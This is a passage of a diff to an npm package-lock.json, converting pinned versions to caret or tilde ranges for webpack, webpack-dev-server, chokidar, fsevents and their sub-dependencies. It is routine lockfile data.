"^1.3.0" }, "dependencies": { "arr-diff": { @@ -16977,16 +17054,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "1.1.0", - "array-unique": "0.3.2", - "extend-shallow": "2.0.1", - "fill-range": "4.0.0", - "isobject": "3.0.1", - "repeat-element": "1.1.2", - "snapdragon": "0.8.2", - "snapdragon-node": "2.1.1", - "split-string": "3.1.0", - "to-regex": "3.0.2" + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" }, "dependencies": { "extend-shallow": { @@ -16995,7 +17072,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -17006,8 +17083,8 @@ "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", "dev": true, "requires": { - "esrecurse": "4.2.1", - "estraverse": "4.2.0" + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" } }, "expand-brackets": { @@ -17016,13 +17093,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "2.6.8", - "define-property": "0.2.5", - "extend-shallow": "2.0.1", - "posix-character-classes": "0.1.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "define-property": { @@ -17031,7 +17108,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "0.1.6" + "is-descriptor": "^0.1.0" } }, "extend-shallow": { @@ -17040,7 +17117,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } }, "is-accessor-descriptor": { @@ -17049,7 +17126,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -17058,7 +17135,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -17069,7 +17146,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -17078,7 +17155,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -17089,9 +17166,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "0.1.6", - "is-data-descriptor": "0.1.4", - "kind-of": "5.1.0" + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" } }, "kind-of": { @@ -17108,14 +17185,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "0.3.2", - "define-property": "1.0.0", - "expand-brackets": "2.1.4", - "extend-shallow": "2.0.1", - "fragment-cache": "0.2.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "define-property": { @@ -17124,7 +17201,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "1.0.2" + "is-descriptor": "^1.0.0" } }, "extend-shallow": { @@ -17133,7 +17210,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -17144,10 +17221,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "2.0.1", - "is-number": "3.0.0", - "repeat-string": "1.6.1", - "to-regex-range": "2.1.1" + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" }, "dependencies": { "extend-shallow": { @@ -17156,7 +17233,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -17167,7 +17244,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-data-descriptor": { @@ -17176,7 +17253,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-descriptor": { @@ -17185,9 +17262,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "1.0.0", - "is-data-descriptor": "1.0.0", - "kind-of": "6.0.2" + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" } }, "is-number": { @@ -17196,7 +17273,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -17205,7 +17282,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -17228,9 +17305,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } }, "micromatch": { @@ -17239,19 +17316,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "4.0.0", - "array-unique": "0.3.2", - "braces": "2.3.2", - "define-property": "2.0.2", - "extend-shallow": "3.0.2", - "extglob": "2.0.4", - "fragment-cache": "0.2.1", - "kind-of": "6.0.2", - "nanomatch": "1.2.13", - "object.pick": "1.3.0", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" } }, "tapable": { @@ -17268,16 +17345,16 @@ "integrity": "sha512-Cnqo7CeqeSvC6PTdts+dywNi5CRlIPbLx1AoUPK2T6vC1YAugMG3IOoO9DmEscd+Dghw7uRlnzV1KwOe5IrtgQ==", "dev": true, "requires": { - "chalk": "2.4.1", - "cross-spawn": "6.0.5", - "enhanced-resolve": "4.1.0", - "global-modules-path": "2.3.0", - "import-local": "2.0.0", - "interpret": "1.1.0", - "loader-utils": "1.1.0", - "supports-color": "5.5.0", - "v8-compile-cache": "2.0.2", - "yargs": "12.0.2" + "chalk": "^2.4.1", + "cross-spawn": "^6.0.5", + "enhanced-resolve": "^4.1.0", + "global-modules-path": "^2.3.0", + "import-local": "^2.0.0", + "interpret": "^1.1.0", + "loader-utils": "^1.1.0", + "supports-color": "^5.5.0", + "v8-compile-cache": "^2.0.2", + "yargs": "^12.0.2" }, "dependencies": { "ansi-regex": { @@ -17292,7 +17369,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "^1.9.0" } }, "camelcase": { @@ -17307,9 +17384,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.5.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } }, "cliui": { @@ -17318,9 +17395,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "2.1.1", - "strip-ansi": "4.0.0", - "wrap-ansi": "2.1.0" + "string-width": "^2.1.1", + "strip-ansi": "^4.0.0", + "wrap-ansi": "^2.0.0" } }, "cross-spawn": { @@ -17329,11 +17406,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "1.0.5", - "path-key": "2.0.1", - "semver": "5.5.1", - "shebang-command": "1.2.0", - "which": "1.3.0" + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" } }, "decamelize": { @@ -17351,13 +17428,13 @@ "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", "dev": true, "requires": { - "cross-spawn": "6.0.5", - "get-stream": "3.0.0", - "is-stream": "1.1.0", - "npm-run-path": "2.0.2", - "p-finally": "1.0.0", - "signal-exit": "3.0.2", - "strip-eof": "1.0.0" + "cross-spawn": "^6.0.0", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" } }, "find-up": { @@ -17366,7 +17443,7 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "3.0.0" + "locate-path": "^3.0.0" } }, "has-flag": { @@ -17387,7 +17464,7 @@ "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", "dev": true, "requires": { - "invert-kv": "2.0.0" + "invert-kv": "^2.0.0" } }, "loader-utils": { @@ -17396,9 +17473,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } }, "locate-path": { @@ -17407,8 +17484,8 @@ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "3.0.0", - "path-exists": "3.0.0" + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" } }, "mem": { @@ -17417,9 +17494,9 @@ "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==", "dev": true, "requires": { - "map-age-cleaner": "0.1.2", - "mimic-fn": "1.2.0", - "p-is-promise": "1.1.0" + "map-age-cleaner": "^0.1.1", + "mimic-fn": "^1.0.0", + "p-is-promise": "^1.1.0" } }, "os-locale": { @@ -17428,9 +17505,9 @@ "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==", "dev": true, "requires": { - "execa": "0.10.0", - "lcid": "2.0.0", - "mem": "4.0.0" + "execa": "^0.10.0", + "lcid": "^2.0.0", + "mem": "^4.0.0" } }, "p-limit": { @@ -17439,7 +17516,7 @@ "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", "dev": true, "requires": { - "p-try": "2.0.0" + "p-try": "^2.0.0" } }, "p-locate": { @@ -17448,7 +17525,7 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "2.0.0" + "p-limit": "^2.0.0" } }, "p-try": { @@ -17475,7 +17552,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-regex": "^3.0.0" } }, "supports-color": { @@ -17484,7 +17561,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } }, "yargs": { @@ -17493,18 +17570,18 @@ "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==", "dev": true, "requires": { - "cliui": "4.1.0", - "decamelize": "2.0.0", - "find-up": "3.0.0", - "get-caller-file": "1.0.3", - "os-locale": "3.0.1", - "require-directory": "2.1.1", - "require-main-filename": "1.0.1", - "set-blocking": "2.0.0", - "string-width": "2.1.1", - "which-module": "2.0.0", - "y18n": "3.2.1", - "yargs-parser": "10.1.0" + "cliui": "^4.0.0", + "decamelize": "^2.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^1.0.1", + "os-locale": "^3.0.0", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^2.0.0", + "which-module": "^2.0.0", + "y18n": "^3.2.1 || ^4.0.0", + "yargs-parser": "^10.1.0" } }, "yargs-parser": { @@ -17513,7 +17590,7 @@ "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==", "dev": true, "requires": { - "camelcase": "4.1.0" + "camelcase": "^4.1.0" } } } @@ -17524,13 +17601,13 @@ "integrity": "sha512-tj5LLD9r4tDuRIDa5Mu9lnY2qBBehAITv6A9irqXhw/HQquZgTx3BCd57zYbU2gMDnncA49ufK2qVQSbaKJwOw==", "dev": true, "requires": { - "loud-rejection": "1.6.0", - "memory-fs": "0.4.1", - "mime": "2.3.1", - "path-is-absolute": "1.0.1", - "range-parser": "1.2.0", - "url-join": "2.0.5", - "webpack-log": "1.2.0" + "loud-rejection": "^1.6.0", + "memory-fs": "~0.4.1", + "mime": "^2.1.0", + "path-is-absolute": "^1.0.0", + "range-parser": "^1.0.3", + "url-join": "^2.0.2", + "webpack-log": "^1.0.1" } }, "webpack-dev-server": { @@ -17540,32 +17617,32 @@ "dev": true, "requires": { "ansi-html": "0.0.7", - "bonjour": "3.5.0", - "chokidar": "2.0.4", - "compression": "1.7.3", - "connect-history-api-fallback": "1.5.0", - "debug": "3.2.6", - "del": "3.0.0", - "express": "4.16.3", - "html-entities": "1.2.1", - "http-proxy-middleware": "0.18.0", - "import-local": "2.0.0", - "internal-ip": "3.0.1", - "ip": "1.1.5", - "killable": "1.0.1", - "loglevel": "1.6.1", - "opn": "5.4.0", - "portfinder": "1.0.17", - "schema-utils": "1.0.0", - "selfsigned": "1.10.4", - "serve-index": "1.9.1", + "bonjour": "^3.5.0", + "chokidar": "^2.0.0", + "compression": "^1.5.2", + "connect-history-api-fallback": "^1.3.0", + "debug": "^3.1.0", + "del": "^3.0.0", + "express": "^4.16.2", + "html-entities": "^1.2.0", + "http-proxy-middleware": "~0.18.0", + "import-local": "^2.0.0", + "internal-ip": "^3.0.1", + "ip": "^1.1.5", + "killable": "^1.0.0", + "loglevel": "^1.4.1", + "opn": "^5.1.0", + "portfinder": "^1.0.9", + "schema-utils": "^1.0.0", + "selfsigned": "^1.9.1", + "serve-index": "^1.7.2", "sockjs": "0.3.19", "sockjs-client": "1.1.5", - "spdy": "3.4.7", - "strip-ansi": "3.0.1", - "supports-color": "5.5.0", + "spdy": "^3.4.1", + "strip-ansi": "^3.0.0", + "supports-color": "^5.1.0", "webpack-dev-middleware": "3.4.0", - "webpack-log": "2.0.0", + "webpack-log": "^2.0.0", "yargs": "12.0.2" }, "dependencies": { @@ -17581,8 +17658,8 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "3.1.10", - "normalize-path": "2.1.1" + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" } }, "arr-diff": { @@ -17603,16 +17680,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "1.1.0", - "array-unique": "0.3.2", - "extend-shallow": "2.0.1", - "fill-range": "4.0.0", - "isobject": "3.0.1", - "repeat-element": "1.1.2", - "snapdragon": "0.8.2", - "snapdragon-node": "2.1.1", - "split-string": "3.1.0", - "to-regex": "3.0.2" + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" }, "dependencies": { "extend-shallow": { @@ -17621,7 +17698,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -17638,19 +17715,19 @@ "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", "dev": true, "requires": { - "anymatch": "2.0.0", - "async-each": "1.0.1", - "braces": "2.3.2", - "fsevents": "1.2.4", - "glob-parent": "3.1.0", - "inherits": "2.0.3", - "is-binary-path": "1.0.1", - "is-glob": "4.0.0", - "lodash.debounce": "4.0.8", - "normalize-path": "2.1.1", - "path-is-absolute": "1.0.1", - "readdirp": "2.1.0", - "upath": "1.1.0" + "anymatch": "^2.0.0", + "async-each": "^1.0.0", + "braces": "^2.3.0", + "fsevents": "^1.2.2", + "glob-parent": "^3.1.0", + "inherits": "^2.0.1", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "lodash.debounce": "^4.0.8", + "normalize-path": "^2.1.1", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.0.0", + "upath": "^1.0.5" } }, "cliui": { @@ -17659,9 +17736,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "2.1.1", - "strip-ansi": "4.0.0", - "wrap-ansi": "2.1.0" + "string-width": "^2.1.1", + "strip-ansi": "^4.0.0", + "wrap-ansi": "^2.0.0" }, "dependencies": { "strip-ansi": { @@ -17670,7 +17747,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-regex": "^3.0.0" } } } @@ -17681,11 +17758,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "1.0.5", - "path-key": "2.0.1", - "semver": "5.5.1", - "shebang-command": "1.2.0", - "which": "1.3.0" + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" } }, "debug": { @@ -17694,7 +17771,7 @@ "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", "dev": true, "requires": { - "ms": "2.1.1" + "ms": "^2.1.1" }, "dependencies": { "ms": { @@ -17720,12 +17797,12 @@ "integrity": "sha1-U+z2mf/LyzljdpGrE7rxYIGXZuU=", "dev": true, "requires": { - "globby": "6.1.0", - "is-path-cwd": "1.0.0", - "is-path-in-cwd": "1.0.1", - "p-map": "1.2.0", - "pify": "3.0.0", - "rimraf": "2.6.2" + "globby": "^6.1.0", + "is-path-cwd": "^1.0.0", + "is-path-in-cwd": "^1.0.0", + "p-map": "^1.1.1", + "pify": "^3.0.0", + "rimraf": "^2.2.8" } }, "execa": { @@ -17734,13 +17811,13 @@ "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", "dev": true, "requires": { - "cross-spawn": "6.0.5", - "get-stream": "3.0.0", - "is-stream": "1.1.0", - "npm-run-path": "2.0.2", - "p-finally": "1.0.0", - "signal-exit": "3.0.2", - "strip-eof": "1.0.0" + "cross-spawn": "^6.0.0", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" } }, "expand-brackets": { @@ -17749,13 +17826,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "2.6.9", - "define-property": "0.2.5", - "extend-shallow": "2.0.1", - "posix-character-classes": "0.1.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "debug": { @@ -17773,7 +17850,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "0.1.6" + "is-descriptor": "^0.1.0" } }, "extend-shallow": { @@ -17782,7 +17859,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } }, "is-accessor-descriptor": { @@ -17791,7 +17868,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -17800,7 +17877,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -17811,7 +17888,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -17820,7 +17897,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -17831,9 +17908,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "0.1.6", - "is-data-descriptor": "0.1.4", - "kind-of": "5.1.0" + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" } }, "kind-of": { @@ -17850,14 +17927,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "0.3.2", - "define-property": "1.0.0", - "expand-brackets": "2.1.4", - "extend-shallow": "2.0.1", - "fragment-cache": "0.2.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "define-property": { @@ -17866,7 +17943,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "1.0.2" + "is-descriptor": "^1.0.0" } }, "extend-shallow": { @@ -17875,7 +17952,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -17886,10 +17963,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "2.0.1", - "is-number": "3.0.0", - "repeat-string": "1.6.1", - "to-regex-range": "2.1.1" + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" }, "dependencies": { "extend-shallow": { @@ -17898,7 +17975,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -17909,7 +17986,7 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "3.0.0" + "locate-path": "^3.0.0" } }, "fsevents": { @@ -17919,8 +17996,8 @@ "dev": true, "optional": true, "requires": { - "nan": "2.11.1", - "node-pre-gyp": "0.10.0" + "nan": "^2.9.2", + "node-pre-gyp": "^0.10.0" }, "dependencies": { "abbrev": { @@ -17946,19 +18023,21 @@ "dev": true, "optional": true, "requires": { - "delegates": "1.0.0", - "readable-stream": "2.3.6" + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" } }, "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, + "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -17978,7 +18057,8 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "console-control-strings": { "version": "1.1.0", @@ -18024,7 +18104,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "2.2.4" + "minipass": "^2.2.1" } }, "fs.realpath": { @@ -18039,14 +18119,14 @@ "dev": true, "optional": true, "requires": { - "aproba": "1.2.0", - "console-control-strings": "1.1.0", - "has-unicode": "2.0.1", - "object-assign": "4.1.1", - "signal-exit": "3.0.2", - "string-width": "1.0.2", - "strip-ansi": "3.0.1", - "wide-align": 